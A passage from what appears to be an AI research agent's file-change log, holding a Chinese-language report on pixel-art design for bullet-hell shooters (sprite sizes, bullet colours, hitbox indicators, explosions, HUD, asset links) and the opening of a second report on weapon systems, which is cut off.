"content": "5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。", "new_no": 249}, {"type": "add", "content": "6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。", "new_no": 250}, {"type": "add", "content": "", "new_no": 251}, {"type": "add", "content": "---", "new_no": 252}, {"type": "add", "content": "", "new_no": 253}, {"type": "add", "content": "## 7. 信息来源与可信度说明", "new_no": 254}, {"type": "add", "content": "", "new_no": 255}, {"type": "add", "content": "- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。", "new_no": 256}, {"type": "add", "content": "- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。", "new_no": 257}, {"type": "add", "content": "- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。", "new_no": 258}, {"type": "add", "content": "- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。", "new_no": 259}], "truncated": false, "current_text": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。", "current_truncated": false, "updated_at": "2026-08-23T12:32:17.013702"}, {"path": "research/weapon_system/weapon_research.md", "baseline": null, "baseline_truncated": false, "created_at": "2026-08-23T12:32:27.760616", "status": "added", "added": 295, "removed": 0, "lines": [{"type": "add", "content": "# 经典弹幕射击游戏(STG)武器系统调研报告", "new_no": 1}, {"type": "add", "content": "", "new_no": 2}, {"type": "add", "content": "> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现", "new_no": 3}, {"type": "add", "content": "> 调研日期:2026-08-23", "new_no": 4}, {"type": "add", "content": "> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」", "new_no": 5}, {"type": "add", "content": "", "new_no": 6}, {"type": "add", "content": "---", "new_no": 7}, {"type": "add", "content": "", "new_no": 8}, {"type": "add", "content": "## 目录", "new_no": 9}, {"type": "add", "content": "", "new_no": 10}, {"type": "add", "content": "1. [概述](#1-概述)", "new_no": 11}, {"type": "add", "content": "2. [玩家武器类型分类](#2-玩家武器类型分类)", "new_no": 12}, {"type": "add", "content": "3. [武器升级系统](#3-武器升级系统)", "new_no": 13}, {"type": "add", "content": "4. [像素风格表现](#4-像素风格表现)", "new_no": 14}, {"type": "add", "content": "5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)", "new_no": 15}, {"type": "add", "content": "6. [参考资料](#6-参考资料)", "new_no": 16}, {"type": "add", "content": "", "new_no": 17}, {"type": "add", "content": "---", "new_no": 18}, {"type": "add", "content": "", "new_no": 19}, {"type": "add", "content": "## 1. 概述", "new_no": 20}, {"type": "add", "content": "", "new_no": 21}, {"type": "add", "content": "弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:", "new_no": 22}, {"type": "add", "content": "", "new_no": 23}, {"type": "add", "content": "1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;", "new_no": 24}, {"type": "add", "content": "2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;", "new_no": 25}, {"type": "add", "content": "3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。", "new_no": 26}, {"type": "add", "content": "", "new_no": 27}, {"type": "add", "content": "本报告以三条经典主线为调研对象:", "new_no": 28}, {"type": "add", "content": "", "new_no": 29}, {"type": "add", "content": "- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)", "new_no": 30}, {"type": "add", "content": "- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)", "new_no": 31}, {"type": "add", "content": "- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)", "new_no": 32}, {"type": "add", "content": "- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充", "new_no": 33}, {"type": "add", "content": "", "new_no": 34}, {"type": "add", "content": "> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。", "new_no": 35}, {"type": "add", "content": "", "new_no": 36}, {"type": "add", "content": "---", "new_no": 37}, {"type": "add", "content": "", "new_no": 38}, {"type": "add", "content": "## 2. 玩家武器类型分类", "new_no": 39}, {"type": "add", "content": "", "new_no": 40}, {"type": "add", "content": "### 2.1 散弹(Spread Shot)", "new_no": 41}, {"type": "add", "content": "", "new_no": 42}, {"type": "add", "content": 